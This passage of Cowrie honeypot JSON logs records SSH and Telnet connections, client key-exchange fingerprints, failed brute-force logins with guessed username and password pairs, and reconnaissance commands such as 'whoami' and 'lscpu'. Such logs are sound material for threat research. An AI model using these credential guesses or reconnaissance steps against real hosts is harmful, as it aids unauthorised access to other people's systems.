{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.368889Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.473459Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.728889Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.732570Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.839646Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.093912Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.097394Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.205058Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.213806Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.456394Z","src_ip":"186.10.86.130","session":"38e3f7c83bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":39154,"dst_ip":"159.203.135.109","dst_port":22,"session":"735f9ab71088","protocol":"ssh","message":"New connection: 94.156.152.18:39154 (159.203.135.109:22) [session: 735f9ab71088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.565366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.571786Z","src_ip":"94.156.152.18","session":"735f9ab71088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:15.699764Z","src_ip":"94.156.152.18","session":"735f9ab71088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU16GBAMD","message":"login attempt [root/XYZZ#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:16.084239Z","src_ip":"94.156.152.18","session":"735f9ab71088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:17.214053Z","src_ip":"94.156.152.18","session":"735f9ab71088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c888c45e97","protocol":"ssh","message":"New connection: 152.32.162.42:33820 (10.17.0.5:22) [session: e5c888c45e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:17.258806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:17.289226Z","src_ip":"152.32.162.42","session":"e5c888c45e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:17.535934Z","src_ip":"152.32.162.42","session":"e5c888c45e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty123","message":"login attempt [ftpuser/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:18.549228Z","src_ip":"152.32.162.42","session":"e5c888c45e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.442535161972046,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:18.763964Z","src_ip":"45.81.23.16","session":"d1e9472797d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44634,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0a875b9f5e","protocol":"telnet","message":"New connection: 65.60.27.33:44634 (10.17.0.5:23) [session: 0f0a875b9f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:19.167959Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:19.797848Z","src_ip":"152.32.162.42","session":"e5c888c45e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":47104,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5db3c6aed3","protocol":"ssh","message":"New connection: 186.113.245.157:47104 (10.17.0.5:22) [session: 7f5db3c6aed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:20.578544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:20.583388Z","src_ip":"186.113.245.157","session":"7f5db3c6aed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:20.674949Z","src_ip":"186.113.245.157","session":"7f5db3c6aed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123","message":"login attempt [ubuntu/upload123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:21.068504Z","src_ip":"186.113.245.157","session":"7f5db3c6aed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:22.161536Z","src_ip":"186.113.245.157","session":"7f5db3c6aed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00176572799683,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:33.315811Z","src_ip":"38.54.119.93","session":"6769519719bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.77413725852966,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:51.467559Z","src_ip":"38.54.119.93","session":"9098db57db3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":32882,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb1473294229","protocol":"ssh","message":"New connection: 191.101.59.69:32882 (159.203.135.109:22) [session: eb1473294229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:55.404626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:55.409757Z","src_ip":"191.101.59.69","session":"eb1473294229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:55.504569Z","src_ip":"191.101.59.69","session":"eb1473294229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password1234567","message":"login attempt [ubuntu/password1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:55.883832Z","src_ip":"191.101.59.69","session":"eb1473294229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":35914,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd8c35bd1bc","protocol":"ssh","message":"New connection: 177.85.247.230:35914 (10.17.0.5:22) [session: afd8c35bd1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:56.511688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:56.517075Z","src_ip":"177.85.247.230","session":"afd8c35bd1bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:56.618918Z","src_ip":"177.85.247.230","session":"afd8c35bd1bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:56.974069Z","src_ip":"191.101.59.69","session":"eb1473294229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"s3rv3r","message":"login attempt [git/s3rv3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:57.057418Z","src_ip":"177.85.247.230","session":"afd8c35bd1bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.019965410232544,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:57.187797Z","src_ip":"65.60.27.33","session":"0f0a875b9f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:58.162722Z","src_ip":"177.85.247.230","session":"afd8c35bd1bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":43066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3452522a4e59","protocol":"telnet","message":"New connection: 190.183.203.15:43066 (159.203.135.109:23) [session: 3452522a4e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:59.767633Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42736,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f9e142959c","protocol":"ssh","message":"New connection: 60.199.224.2:42736 (159.203.135.109:22) [session: e6f9e142959c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:59.916924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:59.922128Z","src_ip":"60.199.224.2","session":"e6f9e142959c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:00.130073Z","src_ip":"60.199.224.2","session":"e6f9e142959c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz123!@#","message":"login attempt [ubuntu/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:00.990175Z","src_ip":"60.199.224.2","session":"e6f9e142959c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:02.201463Z","src_ip":"60.199.224.2","session":"e6f9e142959c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":43748,"dst_ip":"159.203.135.109","dst_port":23,"session":"c420e74fb78e","protocol":"telnet","message":"New connection: 190.183.203.15:43748 (159.203.135.109:23) [session: c420e74fb78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:02.393035Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":37004,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca89bea5ee8","protocol":"ssh","message":"New connection: 152.32.162.42:37004 (10.17.0.5:22) [session: 9ca89bea5ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:07.679253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:07.684459Z","src_ip":"152.32.162.42","session":"9ca89bea5ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@